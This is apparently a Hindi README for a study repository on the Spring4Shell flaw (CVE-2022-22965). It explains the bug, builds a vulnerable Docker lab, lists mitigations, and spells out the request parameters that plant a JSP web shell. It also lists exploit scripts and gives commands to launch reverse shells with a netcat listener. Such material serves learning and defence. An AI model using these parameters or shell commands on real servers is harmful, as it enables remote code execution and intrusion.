
विवरण
अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। सभी एक्सप्लॉइट स्क्रिप्ट का उपयोग केवल उन सिस्टमों के विरुद्ध किया जाना चाहिए जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। लेखक इस सामग्री के दुरुपयोग या इससे होने वाली किसी भी क्षति के लिए जिम्मेदार नहीं है।
CVE-2022-22965 का अध्ययन और प्रूफ-ऑफ-कॉन्सेप्ट, जो स्प्रिंग फ्रेमवर्क में एक गंभीर रिमोट कोड एक्जीक्यूशन (RCE) भेद्यता है, जिसे अप्रैल 2022 में सार्वजनिक रूप से प्रकट किया गया था।
Spring4Shell स्प्रिंग MVC और स्प्रिंग WebFlux अनुप्रयोगों को प्रभावित करता है जब निम्नलिखित सभी शर्तें पूरी होती हैं:
| शर्त | मान |
|---|
| JDK संस्करण | 9 या उच्चतर |
| एप्लिकेशन सर्वर | Apache Tomcat |
| पैकेजिंग | WAR (निष्पादन योग्य JAR नहीं) |
| स्प्रिंग फ्रेमवर्क | < 5.3.18 या < 5.2.20 |
स्प्रिंग का डेटा बाइंडिंग तंत्र HTTP अनुरोध पैरामीटर को डॉट नोटेशन (जैसे, user.name=foo) का उपयोग करके जावा ऑब्जेक्ट गुणों में मैप करने की अनुमति देता है। यह भेद्यता इसलिए उत्पन्न होती है क्योंकि यह ट्रैवर्सल ठीक से प्रतिबंधित नहीं है — कोई हमलावर मॉडल ऑब्जेक्ट के वर्ग पदानुक्रम के माध्यम से JVM ClassLoader तक पहुँच सकता है:
class.module.classLoader.resources.context.parent.pipeline.first.<property>
यह पथ Tomcat के AccessLogValve तक पहुँचता है, जिसके लॉगिंग कॉन्फ़िगरेशन को रनटाइम पर हेरफेर किया जा सकता है। pattern, directory, prefix, और suffix जैसे गुणों को संशोधित करके, हमलावर Tomcat के एक्सेस लॉग को एक फ़ाइल लिखने के लिए पुनर्निर्देशित करता है जिसमें .jsp एक्सटेंशन होता है और मनमाना JSP कोड होता है — प्रभावी रूप से सर्वर पर एक वेब शेल लगाता है।
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat inject किए गए payload के साथ एक्सेस लॉग को webapps/ROOT/shell.jsp पर लिखता है
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # पासवर्ड सुरक्षा के साथ POST-आधारित वेब शेल
│ ├── exploit2.py # रीसेट क्षमता के साथ POST-आधारित वेब शेल
│ ├── exploit3.py # GET-आधारित वेरिएंट (सरलीकृत)
│ ├── exploit4.py # रिवर्स TCP शेल (GET-आधारित)
│ └── exploit4b.py # रिवर्स TCP शेल (POST-आधारित)
└── springmvc5-helloworld-example/
├── Dockerfile # पूर्व-निर्मित tomcat:9.0.60 इमेज का उपयोग करता है
├── Dockerfile2 # openjdk:11 से बनाता है + Tomcat डाउनलोड करता है
├── pom.xml # Maven प्रोजेक्ट — स्प्रिंग MVC 5.3.17 (असुरक्षित)
└── src/ # असुरक्षित स्प्रिंग MVC एप्लिकेशन स्रोत
| स्क्रिप्ट | विधि | पेलोड | नोट्स |
|---|---|---|---|
exploit1.py | POST | वेब शेल (पासवर्ड-सुरक्षित) | एकल अनुरोध |
exploit2.py | POST | वेब शेल | एक्सप्लॉइट से पहले/बाद में लॉग कॉन्फ़िगरेशन रीसेट करता है |
exploit3.py | GET | वेब शेल (कोई पासवर्ड नहीं) | पैरामीटर क्वेरी स्ट्रिंग के माध्यम से |
exploit4.py | GET | रिवर्स TCP शेल | msfvenom-आधारित JSP पेलोड |
exploit4b.py | POST | रिवर्स TCP शेल | exploit4 के समान पेलोड, POST वेरिएंट |
# वेब शेल
python3 exploits/exploit1.py http://target:8080/vulnerable
# रिवर्स शेल (पहले लिसनर शुरू करें: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven या sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# विकल्प 1 — पूर्व-निर्मित Tomcat इमेज
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# विकल्प 2 — openjdk से बनाएं + Tomcat डाउनलोड करें
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
एप्लिकेशन तब http://localhost:8082/vulnerable पर उपलब्ध है।
classLoader बाइंडिंग को ब्लॉक करने के लिए WebDataBinder.setDisallowedFields() का उपयोग करेंclass., Class., module., या classLoader वाले पैरामीटर को ब्लॉक करने वाला WAF नियम तैनात करेंमूल अनुसंधान और एक्सप्लॉइट कोड @march0n द्वारा। यह रिपॉजिटरी सीखने के उद्देश्यों के लिए भेद्यता का एक व्यक्तिगत अध्ययन है, जिसमें अतिरिक्त दस्तावेज़ीकरण और विश्लेषण है।